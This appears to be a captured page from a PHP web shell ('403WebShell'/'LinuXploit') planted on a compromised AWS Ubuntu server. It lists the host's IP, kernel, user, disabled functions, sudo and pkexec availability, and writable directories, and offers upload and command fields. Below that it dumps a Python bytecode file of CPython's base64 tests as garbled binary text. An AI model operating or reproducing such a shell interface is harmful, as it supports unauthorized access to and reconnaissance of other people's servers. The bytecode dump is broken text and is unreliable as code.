Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_base64.cpython-310.pyc
o

�9j	��@s�ddlZddlZddlZddlZddlmZddlmZddlmZGdd�dej�Z	Gdd�dej�Z
Gd	d
�d
ej�ZedkrGe�
�dSdS)�N)�array)�	os_helper)�
script_helperc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�LegacyBase64TestCasecCsZ|�t|d�|�t|g�td��dd�}|�t||�td��d�}|�t||�dS)N�s1234�B)�r�I)�assertRaises�	TypeError�
memoryview�cast)�self�f�multidimensional�int_data�r�'/usr/lib/python3.10/test/test_base64.py�check_type_errors
sz&LegacyBase64TestCase.check_type_errorscCs�|j}|t�d�d�|t�d�d�|t�d�d�|t�d�d�|t�d	�d	�|t�d
�d�|t�td��d�|t�td��d�|t�tdd��d�|�tj�dS)
N�www.python.org�d3d3LnB5dGhvbi5vcmc=
�a�YQ==
�ab�YWI=
�abc�YWJj
��RabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#0^&*();:<>,. []{}�rYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0
NTY3ODkhQCMwXiYqKCk7Ojw+LC4gW117fQ==
r)�assertEqual�base64�encodebytes�	bytearrayrrr�r�eqrrr�test_encodebytess
�z%LegacyBase64TestCase.test_encodebytescCs�|j}|t�d�d�|t�d�d�|t�d�d�|t�d�d�|t�d	�d
�|t�d�d�|t�td��d�|t�td��d�|t�tdd��d�|�tj�dS)
Nrrrrrrrrrrrr)r r!�decodebytesr#rrrr$rrr�test_decodebytes(s
�z%LegacyBase64TestCase.test_decodebytescCs�|j}ddlm}m}|d�}|�}t�||�||��d�|�ttj|d�|��|�ttj|d�|��|�ttj|d�|��dS)Nr��BytesIO�StringIOrr�abcr)	r �ior*r+r!�encode�getvaluer
r)rr%r*r+�infp�outfprrr�test_encode;s�z LegacyBase64TestCase.test_encodecCs�ddlm}m}|d�}|�}t�||�|�|��d�|�ttj	|d�|��|�ttj	|d�|��|�ttj	|d�|��dS)Nrr)�d3d3LnB5dGhvbi5vcmc=rzYWJj
r)
r-r*r+r!�decoder r/r
rr.)rr*r+r0r1rrr�test_decodeLsz LegacyBase64TestCase.test_decodeN)�__name__�
__module__�__qualname__rr&r(r2r5rrrrr
src@seZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!d?S)@�BaseXYTestCasecCs |�t|d�|�t|g�dS)Nr�r
r�rrrrr�check_encode_type_errors\sz'BaseXYTestCase.check_encode_type_errorscCs|�t|g�dS�Nr:r;rrr�check_decode_type_errors`sz'BaseXYTestCase.check_decode_type_errorscCsl|j}t|�}|||�|�|||�||t|��|�||td|��|�|�tj|�|�tj|�dS)Nr)r r#rr�check_nonbyte_element_formatr!�	b64encode�check_multidimensional)rr�
bytes_data�expectedr%�brrr�check_other_typescs
z BaseXYTestCase.check_other_typescCsTt|�drdnd}||}t|�ddf}t|��d|�}|�||�||��dS)Nr�rr��lenrr
r )rr�data�paddingrB�shaperrrrrAos
z%BaseXYTestCase.check_multidimensionalcCsBddt|�d}||}t|��d�}|�||�||��dS)NrF�r	rG)rrrIrJrBrrrrr?vsz+BaseXYTestCase.check_nonbyte_element_formatcCs�|j}|t�d�d�|t�d�d�|t�d�d�|t�d�d�|t�d	�d
�|t�d�d�|t�d�d
�|tjddd�d�|tjdtd�d�d�|tjdtd�d�d�|tjdtdd�d�d�|�tjdd�|�tj�|jt	tjddd�|t�
d�d�|t�
d�d�|t�
d�d�|t�
d	�d
�|t�
d�d�|t�
d�d
�|�tj
dd�|�tj
�|t�d�d�|�tjdd�|�tj�dS)Nrr3rF�AA==r�YQ==r�YWI=r�YWJjrrspYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkhQCMwXiYqKCk7Ojw+LC4gW117fQ==��V�o��*$��altchars�01a*b$cdr�abcdsYWJjZA==z*$�01a-b_cd)r r!r@r#rrrEr<r
r�standard_b64encode�urlsafe_b64encoder$rrr�test_b64encode}sP
����
���zBaseXYTestCase.test_b64encodec
Cs�|j}dddddddd�}|��D]\}}|t�|�|�|t�|�d	��|�q|�tjd
d�|�tj�ddi}|��D]8\\}}}|�d	�}|�d	�}|tj||d
�|�|tj||d
�|�|tj||d
�|�|tj||d
�|�q?|��D]\}}|t�|�|�|t�|�d	��|�q||�tjd
d�|�tj�ddd�}	|	��D]\}}|t�|�|�|t�|�d	��|�q�|�tjdd�|�tj�dS)NrrFrrrrr)r3rMrNrOrPsqYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0
NTY3ODkhQCMwXiYqKCk7Ojw+LC4gW117fQ==r�asciirP)rUrRrQrS)rWrrW)	r �itemsr!�	b64decoder4rEr>�standard_b64decode�urlsafe_b64decode)
rr%�testsrI�res�tests_altcharsrT�data_str�altchars_str�
tests_urlsaferrr�test_b64decode�sJ�

�
�zBaseXYTestCase.test_b64decodecCs(|�tjtjd�|�tjtjd�dS)Nrr,)r
�binascii�Errorr!r]�rrrr�test_b64decode_padding_error�sz+BaseXYTestCase.test_b64decode_padding_errorc
Cs(d}tjtjtjf}|D]p\}}|D],}|j||d��|�||�|�|�||�d��|�Wd�n1s9wYq|�tj	��tj|dd�Wd�n1sWwY|�tj	��tj|�d�dd�Wd�n1swwYqd}|�t�dd�|�|�t�d	�|�dS)
N)
)s%3d==��)s$3d==rk)s[==r)sYW]3=sam)s3{d==rk)s3d}==rk)s@@r)�!r)rr)s	YWJj
YWI=sabcab)�bstr�funcr[T)�validates����s++[[//]]s[]s++--//__)
r!r]r^r_�subTestr r4r
rgrh)rr`�funcsrmrarnrrr�test_b64decode_invalid_chars�s,������z+BaseXYTestCase.test_b64decode_invalid_charscCs�|j}|t�d�d�|t�d�d�|t�d�d�|t�d�d�|t�d�d	�|t�d
�d�|t�d�d
�|�tjd
d�|�tj�dS)NrrF�AA======r�ME======r�MFRA====r�MFRGG===rV�MFRGGZA=�abcde�MFRGGZDF)r r!�	b32encoderEr<r$rrr�test_b32encodeszBaseXYTestCase.test_b32encodecCsr|j}dddddddd�}|��D]\}}|t�|�|�|t�|�d	��|�q|�tjd
d�|�tj�dS)NrrFrrrrVrx)rrsrtrurvrwryr[rv)r r\r!�	b32decoder4rEr>�rr%r`rIrarrr�test_b32decodes�zBaseXYTestCase.test_b32decodec	CsN|j}dddddddddddd�}|��D]\}}|t�|d�|�|t�|�d	�d�|�q|�tjtjd
�|�tjtjd�|t�d�d
�|t�d�d
�d
dd�}|��D]J\\}}}|�d	�}|�d	�}|tj||d�|�|tj||d�|�|tj||d�|�|tj||d�|�|�tjtj|�|�tjtj|�qZdS)NrrrrrVrx)rrtrurvrwry�me======smfra====smfrgg===smfrggza=smfrggzdfTr[rzme======sMLO23456sbݭ��MLO23456sb��))�M1023456�L)r��I)�map01)r r\r!r|r4r
rgrh)	rr%r`rIra�	map_testsr�rc�	map01_strrrr�test_b32decode_casefold)sB��

�z&BaseXYTestCase.test_b32decode_casefoldc
C�
gd�}gd�}tdd�D]!}|r|�d|�|D]}t|�|dkr-|�|d|�qq
|D]Q}|j|d��A|�tj��
t�|�Wd�n1sPwY|�tj��t�|�	d��Wd�n1snwYWd�n1s}wYq1dS)	N)r�ABCDEF==�==ABCDEF��MsMEsMFRAsMFRGGsMFRGGZAryr��=�)rIr[)
�range�appendrHrpr
rgrhr!r|r4�rr`�prefixes�i�prefixrIrrr�test_b32decode_errorR�,��������z#BaseXYTestCase.test_b32decode_errorc	CsXgd�}|D]#\}}|j|d��|�t�|�|�Wd�n1s$wYqdS)N))rr)rF�00======)r�C4======)r�C5H0====)r�C5H66===)rV�C5H66P0=)rx�C5H66P35��	to_decode)rpr r!�b32hexencode)r�
test_cases�	to_encoderCrrr�test_b32hexencodebs
���z BaseXYTestCase.test_b32hexencodecC� |�tjdd�|�tj�dS)NrVr�)rEr!r�r<rirrr�test_b32hexencode_other_typesq�z,BaseXYTestCase.test_b32hexencode_other_typesc	Csxgd�}|D]3\}}}|j||d��|�t�||�|�|�t�|�d�|�|�Wd�n1s4wYqdS)N))rrF)r�rFF)r�rF)r�rF)r�rF)r�rVF)r�rxF)rrT)r�rFT)r�rT)r�rT)r�rT)r�rVT)r�rxT)�c4======rT)sc5h0====rT)sc5h66===rT)sc5h66p0=rVT)sc5h66p35rxT)r��casefoldr[)rpr r!�b32hexdecoder4)rr�r�rCr�rrr�test_b32hexdecodeus������z BaseXYTestCase.test_b32hexdecodecCr�)Nr�r)rEr!r�r>rirrr�test_b32hexdecode_other_types�r�z,BaseXYTestCase.test_b32hexdecode_other_typesc
Cr�)	N)rr�r�r�r�rr�r�r�r�r[)
r�r�rHrpr
rgrhr!r�r4r�rrr�test_b32hexdecode_error�r�z&BaseXYTestCase.test_b32hexdecode_errorcCsF|j}|t�d�d�|t�d�d�|�tjdd�|�tj�dS)N�����
0102ABCDEFrF�00)r r!�	b16encoderEr<r$rrr�test_b16encode�s
�zBaseXYTestCase.test_b16encodecCs|j}|t�d�d�|t�d�d�|t�d�d�|t�d�d�|�tjtjd�|�tjtjd�|t�dd	�d�|t�dd	�d�|�tjdd�|�tj�|t�td�d	�d�|t�t	d�d	�d�|t�t
d
d�d	�d�|�tjtjd�|�tjtjd�dS)
Nr�r��
0102ABCDEFr�rF�00s
0102abcdef�
0102abcdefTr�0102AG�010)r r!�	b16decoder
rgrhrEr>r#rrr$rrr�test_b16decode�s0
����zBaseXYTestCase.test_b16decodecCs\|j}ddddttd��ddddd	d
ddd
ddddddddddddi
}|��D]'\}}|t�|�||�|tj|dd�||�|tj|dd�d|d|�q'|�tjdd�|�ttjd�|tjdd dd!�d"�|tjd#d dd!�d$�|tjdd dd!�d%�|tjd&ddd'�d(�|tjd)ddd'�d*�|tjd+ddd'�d,�|tjd-ddd'�d.�dS)/Nrr�GB\6`E-ZP=Df.1GEb>�s?!!*-'"9eu7#RLhG$k3[W&.oNg'GVB"(`=52*$$(B+<_pR,UFcb-n-Vr/1iJ-0JP==1c70M3&s#]4?Ykm5X@_(6q'R884cEH9MJ8X:f1+h<)lt#=BSg3>[:ZC?t!MSA7]@cBPD3sCi+'.E,fo>FEMbNG^4U^I!pHnJ:W<)KS>/9Ll%"IN/`jYOHG]iPa.Q$R$jD4S=Q7DTV8*TUnsrdW2ZetXKAY/Yd(L?['d?O\@K2_]Y2%o^qmn*`5Ta:aN;TJbg"GZd*^:jeCE.%f\,!5gtgiEi8N\UjQ5OekiqBum-X60nF?)@o_%qPq"ad`r;HTr�g@:E_WAS,RgBkhF"D/O92EH6,BF`qtRH$VbC6UX@47n?3D92&&T:Jand;cHat='/U/0JP==1c70M3&r-I,;<FN.OZ`-3]oSW/g+A(H[P�no padding..�DJpY:@:Wn_DJ(RS�zero compression�H=_,8+Cf>,E,oN2F(oQ1z�zero compression�H=_,8+Cf>,E,oN2F(oQ1!!!!�
Boundary:�6>q!aA79M(3WK-[!!�Space compr:    �;fH/TAKYK$D/aMV+<VdL���rr����s8N�����s8W*������s8W-!F��adobeT�<~�~>r�)�wrapcolr�sGB\6`E-
ZP=Df.1
GEb>swww.python.orgszGB\6`E
-ZP=Df.
1GEb>s<~GB\6`
E-ZP=Df
.1GEb>
~>�        ��
foldspacesr��yy�       �y+<Vd�      �y+<U�     �y+9)	r �bytesr�r\r!�	a85encoderEr
rr}rrr�test_a85encode�sJ� 
����zBaseXYTestCase.test_a85encodecCs||j}ddddttd��ddddd	d
ddd
ddddddddddddi
}|��D]\}}|t�|�|�q'|�tjdd�dS)Nrr�cXxL#aCvlSZ*DGca%Tr��?009C61O)~M2nh-c3=Iws5D^j+6crX17#SKH9337XAR!_nBqb&%C@Cr{EG;fCFflSSG&MFiI5|2yJUu=?KtV!7L`6nNNJ&adOifNtP*GA-R8>}2SXo+ITwPvYU}0ioWMyV&XlZI|Y;A6DaB*^Tbai%jczJqze0_d@fPsR8goTEOh>41ejE#<ukdcy;l$Dm3n3<ZJoSmMZprN9pq@|{(sHv)}tgWuEu(7hUw6(UkxVgH!yuH4^z`?@9#Kp$P$jQpf%+1cv(9zP<)YaD4*xB0K+}+;a;Njxq<mKk)=;`X~?CtLF@bU8V^!4`l`1$(#{Qdpr�gVPa!sWoBn+X=-b1ZEkOHadLBXb#`}nd3r%YLqtVJM@UIZOH55pPf$@(Q&d$}S6EqEFflSSG&MFiI5{CeBQRbjDkv#CIy^osE+AW7dwlr��Zf_uPVPs@!Zf7nor��dS!BNAY*TBaB^jHb7^mG00000r��dS!BNAY*TBaB^jHb7^mG0000r��LT`0$WMOi7IsgCw00r��Q*dEpWgug3ZE$irARr(hr��{{r��|Njr��|Ns9r��|NsC0)r r�r�r\r!�	b85encoderEr}rrr�test_b85encode�s*�
�zBaseXYTestCase.test_b85encodecCsH|j}ddttd��dddddd	d
ddd
d�
}|��D]R\}}|t�|�||�|tj|dd�||�|tj|�d�dd�||�|tjd|ddd�||�|tj|ddd�||�|tjd|�d�dd�||�q|tjdddd�d�|tjdddd�d�|tjdddd�d�|tjdddd�d�|�tjdd�dS) Nrrr�rr�r�r�r�r�r�r�r�r�)
rr�sJ! ! * -'"
		9eu
7#  RLhG$k3[W&.oNg'GVB"(`=52*$$(B+<_pR,UFcb-n-Vr/1iJ-0JP==1c70M3&s#]4?Ykm5X@_(6q'R884cEH9MJ8X:f1+h<)lt#=BSg3>[:ZC?t!MSA7]@cBPD3sCi+'.E,fo>FEMbNG^4U^I!pHnJ:W<)KS>/9Ll%"IN/`jYOHG]iPa.Q$R$jD4S=Q7DTV8*TUnsrdW2ZetXKAY/Yd(L?['d?O\@K2_]Y2%o^qmn*`5Ta:aN;TJbg"GZd*^:jeCE.%f\,!5gtgiEi8N\UjQ5OekiqBum-X60nF?)@o_%qPq"ad`r;HTr�r�r�r�r�r�r�r�r�r�Fr�r[r�r�Tz<~%s~>r�r�r�r�r�r�r�r�r�r�)r r�r�r\r!�	a85decoder4rEr}rrr�test_a85decode s>
��
�zBaseXYTestCase.test_a85decodecCsz|j}ddttd��dddddd	d
ddd
d�
}|��D]\}}|t�|�|�|t�|�d��|�q|�tjdd�dS)Nrrr�rr�r�r�r�r�r�r�r�r�)
rr�r�r�r�r�r�r�r�r�r�r�r�r[r�)r r�r�r\r!�	b85decoder4rEr}rrr�test_b85decodeMs*
�
�zBaseXYTestCase.test_b85decodecC�|j}|tjddd�d�|tjddd�d�|tjddd�d�|tjd	dd�d
�|tjddd�d�|t�d�d
�|t�d�d�|t�d�d�|t�d
�d	�|t�d�d�dS)N�xT��padsGQ7^D�xxsG^'2g�xxxsG^+H5�xxxxsG^+IX�xxxxxs
G^+IXGQ7^D�x�xx�xxx�xxxxx)r r!r�r�r$rrr�test_a85_paddingp�zBaseXYTestCase.test_a85_paddingcCr�)Nr�Tr�scmMzZr�scz6H+r�sczAdKr�sczAetr�s
czAetcmMzZr�r�r�r�)r r!r�r�r$rrr�test_b85_paddingrzBaseXYTestCase.test_b85_paddingc	Csttd��ttdd��Btd�}|D]t}|jtt|g�d��t�dt|g��Wd�n1s4wY|jtt|g�d��tjdt|g�dd�Wd�n1sZwY|jtt|g�d��tjd	t|g�d
dd�Wd�n1s�wYq|jttjddd�|jttjd
dd�|�ttjd�|jttjddd�tjddd�|jttjddd�|jttjddd�|jttjdddd�|jttjddd�|jttjddd�|jttjddd�|jttjddd�|jttjddd�dS)N� �v�s 	

��msgs!!!!Fr�s<~!!!!r�Ts	malformeds<~still malformeds<~~>sabcxsabcdeysa b
cr)r��ignorechars�sss8ss8Wss8W-ss8W-")�setr�r
�
ValueErrorr�r!r��r�illegal�crrr�test_a85decode_errors�sN"����
�
�
�
�
�
�
�z$BaseXYTestCase.test_a85decode_errorsc	Cs�ttd��td�ttdd��}|D]&}|jtt|g�d��t�dt|g��Wd�n1s4wYq|�ttjd�|�ttjd�|�ttjd	�|�ttjd
�|�ttjd�dS)N�!s	"',./:[\]�rrs0000�|s|Ns|Nss|NsCs|NsC1)�listr�r
r
r�r!r�rrrr�test_b85decode_errors�s
����z$BaseXYTestCase.test_b85decode_errorscCs<tjtjtjtjtjtjtjf}|D]	}|�t	|d�qdS)Nuwith non-ascii Ë)
r!r]r^r_r|r�r�r�r
r
)r�decode_funcsrrrr�test_decode_nonascii_str�s��z'BaseXYTestCase.test_decode_nonascii_strcCs|�ttjt��dSr=)�
assertTrue�
issubclassrgrhr
rirrr�test_ErrorHeritage��z!BaseXYTestCase.test_ErrorHeritagecCs�tj}tj}tj}tj}|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d	�|�|d
�d�|�|d�d
�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d
�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d
�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d�d�|�|d
�d�|�|d�d�dS) Nr�fsZg==sfosZm8=sfoosZm9vsfoobsZm9vYg==sfoobasZm9vYmE=sfoobarsZm9vYmFysMY======sMZXQ====sMZXW6===sMZXW6YQ=sMZXW6YTBsMZXW6YTBOI======sCO======sCPNG====sCPNMU===sCPNMUOG=sCPNMUOJ1sCPNMUOJ1E8======s66s666Fs666F6Fs666F6F62s
666F6F6261s666F6F626172)r!r@r�rzr�r )rr@r�rzr�rrr�test_RFC4648_test_cases�s@z&BaseXYTestCase.test_RFC4648_test_casesN)"r6r7r8r<r>rErAr?rZrfrjrrr{r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrrrr9Xs@28 
)	2"-##r9c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestMaincCs"tj�tj�rt�tj�dSdSr=)�os�path�existsr�TESTFN�unlinkrirrr�tearDown�s�zTestMain.tearDowncGstjddg|�R�jS)N�-mr!)r�assert_python_ok�out)r�argsrrr�
get_output�rzTestMain.get_outputcCs|�d�}|�|��d�dS)Nz-t)�b'Aladdin:open sesame's!b'QWxhZGRpbjpvcGVuIHNlc2FtZQ==\n'r()r'�assertSequenceEqual�
splitlines)r�outputrrr�test_encode_decode�s
zTestMain.test_encode_decodecC�Xttjd��
}|�d�Wd�n1swY|�dtj�}|�|��d�dS)N�wb�a�b
�-e�Yf9iCg==��openrr �writer'r �rstrip�r�fpr+rrr�test_encode_file�
�zTestMain.test_encode_filecCsZt�ddd��}|�d�\}}Wd�n1swY|�|��d�|�|�dS)Nr#r!r0r/r1)r�spawn_python�communicater r5�assertIsNone)r�procr%�errrrr�test_encode_from_stdins
�zTestMain.test_encode_from_stdincCr-)Nr.r1z-dsa�br2r6rrrr5r9zTestMain.test_decodeN)	r6r7r8r"r'r,r8r?r5rrrrr�sr�__main__)�unittestr!rgrr�test.supportrr�TestCaserr9rr6�mainrrrr�<module>s$N""�

Youez - 2016 - github.com/yon3zu
LinuXploit